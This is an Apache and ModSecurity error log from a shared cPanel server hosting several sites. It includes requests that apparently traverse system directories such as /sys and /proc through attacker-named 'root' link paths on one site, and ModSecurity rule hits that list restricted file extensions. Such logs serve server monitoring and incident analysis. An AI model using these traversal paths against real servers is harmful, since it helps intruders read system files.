[Fri Jul 17 08:17:01.668642 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almXpYl9vhFBGA6D8l90bwAAAAw"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:17:01.972414 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:36136] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:17:03.091717 2026] [ssl:error] [pid 1993573:tid 1993573] (70014)End of file found: [client 66.85.158.91:36224] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:17:03.389179 2026] [security2:error] [pid 1993570:tid 1993570] [client 45.149.92.22:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/img/favicon.png"] [unique_id "almXp3jA8yK8B7kryx3flgAAAAk"], referer: https://www.epid.gov.lk/
[Fri Jul 17 08:17:03.389211 2026] [security2:error] [pid 1993570:tid 1993570] [client 45.149.92.22:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/img/favicon.png"] [unique_id "almXp3jA8yK8B7kryx3flgAAAAk"], referer: https://www.epid.gov.lk/
[Fri Jul 17 08:17:03.563522 2026] [ssl:error] [pid 1993675:tid 1993675] (70014)End of file found: [client 66.85.158.91:36268] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:17:04.170864 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:36322] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:17:06.959355 2026] [security2:error] [pid 1993619:tid 1993619] [client 209.50.185.159:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylondigest-global": Permission denied [hostname "www.ceylondigest.com"] [uri "/index.php"] [unique_id "almXqY1dLClkUfK_dfHfaQAAAAI"]
[Fri Jul 17 08:17:06.959404 2026] [security2:error] [pid 1993619:tid 1993619] [client 209.50.185.159:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylondigest-ip": Permission denied [hostname "www.ceylondigest.com"] [uri "/index.php"] [unique_id "almXqY1dLClkUfK_dfHfaQAAAAI"]
[Fri Jul 17 08:17:08.541865 2026] [security2:error] [pid 1999089:tid 1999089] [client 112.134.185.209:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/css/font-awesome.css"] [unique_id "almXrEMCK1PbyQ2qe6AAOAAAABQ"], referer: https://www.epid.gov.lk/
[Fri Jul 17 08:17:08.541945 2026] [security2:error] [pid 1999089:tid 1999089] [client 112.134.185.209:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/css/font-awesome.css"] [unique_id "almXrEMCK1PbyQ2qe6AAOAAAABQ"], referer: https://www.epid.gov.lk/
[Fri Jul 17 08:17:11.419340 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:37708] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:17:12.591566 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:12.759147 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:12.786980 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/116:5/subsystem/controlC0/device/hwC0D0/uevent"] [unique_id "almXsI1dLClkUfK_dfHfbQAAAAI"]
[Fri Jul 17 08:17:12.787036 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/116:5/subsystem/controlC0/device/hwC0D0/uevent"] [unique_id "almXsI1dLClkUfK_dfHfbQAAAAI"]
[Fri Jul 17 08:17:13.090086 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:13.355493 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:37848] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:17:13.750356 2026] [core:error] [pid 1993584:tid 1993584] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty49/subsystem/ttyS1/closing_wait
[Fri Jul 17 08:17:13.935874 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/firmware/dmi/entries/4-1/position
[Fri Jul 17 08:17:14.119748 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:14.581745 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:15.045903 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:15.140606 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:15.277197 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:16.517246 2026] [core:error] [pid 2005917:tid 2005917] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty37/subsystem/ttyS3/device/driver/unbind
[Fri Jul 17 08:17:16.615023 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:16.809000 2026] [core:error] [pid 1993570:tid 1993570] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty49/subsystem/ttyS0/uartclk
[Fri Jul 17 08:17:17.295666 2026] [security2:error] [pid 1993574:tid 1993574] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almXtd0t9Kb_MdNxrg686QAAAAM"], referer: http://anandaobauae.org/?C=N;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:17:17.295707 2026] [security2:error] [pid 1993574:tid 1993574] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almXtd0t9Kb_MdNxrg686QAAAAM"], referer: http://anandaobauae.org/?C=N;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:17:17.602695 2026] [security2:error] [pid 1993619:tid 1993619] [client 57.141.18.123:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory82/node0/memory1/node0/memory40/node0/memory88/"] [unique_id "almXtY1dLClkUfK_dfHfdgAAAAI"]
[Fri Jul 17 08:17:17.602859 2026] [security2:error] [pid 1993619:tid 1993619] [client 57.141.18.123:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory82/node0/memory1/node0/memory40/node0/memory88/"] [unique_id "almXtY1dLClkUfK_dfHfdgAAAAI"]
[Fri Jul 17 08:17:17.719708 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:18.089366 2026] [core:error] [pid 1993584:tid 1993584] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/platform/drivers/pcspkr/unbind
[Fri Jul 17 08:17:18.417210 2026] [security2:error] [pid 1993998:tid 1993998] [client 35.254.244.123:0] ModSecurity: Rule 55dbd8a44e30 [id "933210"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"][line "503"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "askinternationalconsortium.com"] [uri "/"] [unique_id "almXtmidQp3SsqeycPEq2AAAAAo"], referer: https://askinternationalconsortium.com/
[Fri Jul 17 08:17:18.419606 2026] [security2:error] [pid 1993998:tid 1993998] [client 35.254.244.123:0] ModSecurity: Rule 55dbd90914d8 [id "941140"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "165"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "askinternationalconsortium.com"] [uri "/"] [unique_id "almXtmidQp3SsqeycPEq2AAAAAo"], referer: https://askinternationalconsortium.com/
[Fri Jul 17 08:17:18.419772 2026] [security2:error] [pid 1993998:tid 1993998] [client 35.254.244.123:0] ModSecurity: Rule 55dbd9162368 [id "941160"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "200"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "askinternationalconsortium.com"] [uri "/"] [unique_id "almXtmidQp3SsqeycPEq2AAAAAo"], referer: https://askinternationalconsortium.com/
[Fri Jul 17 08:17:18.545787 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:18.910422 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:19.004669 2026] [core:error] [pid 1994956:tid 1994956] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/kernel/slab/Acpi-Parse/shrink
[Fri Jul 17 08:17:19.096371 2026] [core:error] [pid 1996894:tid 1996894] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty7/subsystem/ttyS1/device/driver/unbind
[Fri Jul 17 08:17:19.188488 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:19.371692 2026] [core:error] [pid 1993659:tid 1993659] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty55/subsystem/ttyS3/device/driver/unbind
[Fri Jul 17 08:17:19.766344 2026] [core:error] [pid 1993604:tid 1993604] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty8/subsystem/ttyS2/closing_wait
[Fri Jul 17 08:17:20.060923 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:20.999173 2026] [security2:error] [pid 1993675:tid 1993675] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almXuDiSeFVxYLkcq6IbvwAAAAc"], referer: http://anandaobauae.org/?C=N;O=Auploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:17:20.999221 2026] [security2:error] [pid 1993675:tid 1993675] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almXuDiSeFVxYLkcq6IbvwAAAAc"], referer: http://anandaobauae.org/?C=N;O=Auploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:17:21.443878 2026] [core:error] [pid 1993584:tid 1993584] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:09/subsystem/uevent
[Fri Jul 17 08:17:21.536015 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:21.634993 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:22.105813 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:22.539625 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:22.940637 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:23.035713 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:23.059593 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:23.225331 2026] [core:error] [pid 1993998:tid 1993998] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty39/subsystem/ttyS2/uartclk
[Fri Jul 17 08:17:23.326200 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:23.714325 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:24.133466 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:24.955933 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.413137 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.413214 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.413247 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.413265 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.413302 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.413444 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.413483 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.413534 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.413555 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.413575 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.413595 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.413612 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.413704 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.413739 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.413758 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.413775 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.413831 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.413900 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.413921 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.414010 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.414056 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.414087 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.414153 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.414182 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.414199 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.414239 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.414258 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.414276 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.414365 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.414388 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.414429 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.414449 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.414467 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.414522 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.414549 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.414639 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.525378 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:25.618289 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:26.285558 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:26.379752 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/module/battery/uevent
[Fri Jul 17 08:17:26.575071 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:26.945911 2026] [core:error] [pid 1993570:tid 1993570] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty56/subsystem/ttyS2/device/driver/unbind
[Fri Jul 17 08:17:27.166372 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:27.262268 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:27.369285 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty0/subsystem/ttyS3/device/driver/unbind
[Fri Jul 17 08:17:27.474096 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:27.561908 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty3/subsystem/ttyS0/device/driver/unbind
[Fri Jul 17 08:17:28.691566 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:28.795923 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:30.205559 2026] [security2:error] [pid 1993675:tid 1993675] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty52/subsystem/tty61/uevent"] [unique_id "almXwjiSeFVxYLkcq6IbxwAAAAc"]
[Fri Jul 17 08:17:30.205601 2026] [security2:error] [pid 1993675:tid 1993675] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty52/subsystem/tty61/uevent"] [unique_id "almXwjiSeFVxYLkcq6IbxwAAAAc"]
[Fri Jul 17 08:17:30.751036 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:30.811104 2026] [security2:error] [pid 1993604:tid 1993604] [client 47.79.10.189:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/luasandbox.ini"] [unique_id "almXwoha5y5fYnQ1qRrtugAAAAE"]
[Fri Jul 17 08:17:30.811696 2026] [security2:error] [pid 1993604:tid 1993604] [client 47.79.10.189:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/luasandbox.ini"] [unique_id "almXwoha5y5fYnQ1qRrtugAAAAE"]
[Fri Jul 17 08:17:30.824091 2026] [security2:error] [pid 1993604:tid 1993604] [client 47.79.10.189:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/luasandbox.ini"] [unique_id "almXwoha5y5fYnQ1qRrtugAAAAE"]
[Fri Jul 17 08:17:30.839148 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:30.871494 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:31.301040 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:31.484002 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:31.577613 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:31.581458 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:31.764557 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:31.783761 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:31.791734 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:31.800006 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:31.869770 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:31.995756 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:32.180289 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:32.603366 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:32.861019 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:33.297261 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:33.449422 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:33.474614 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:34.081712 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:34.145114 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
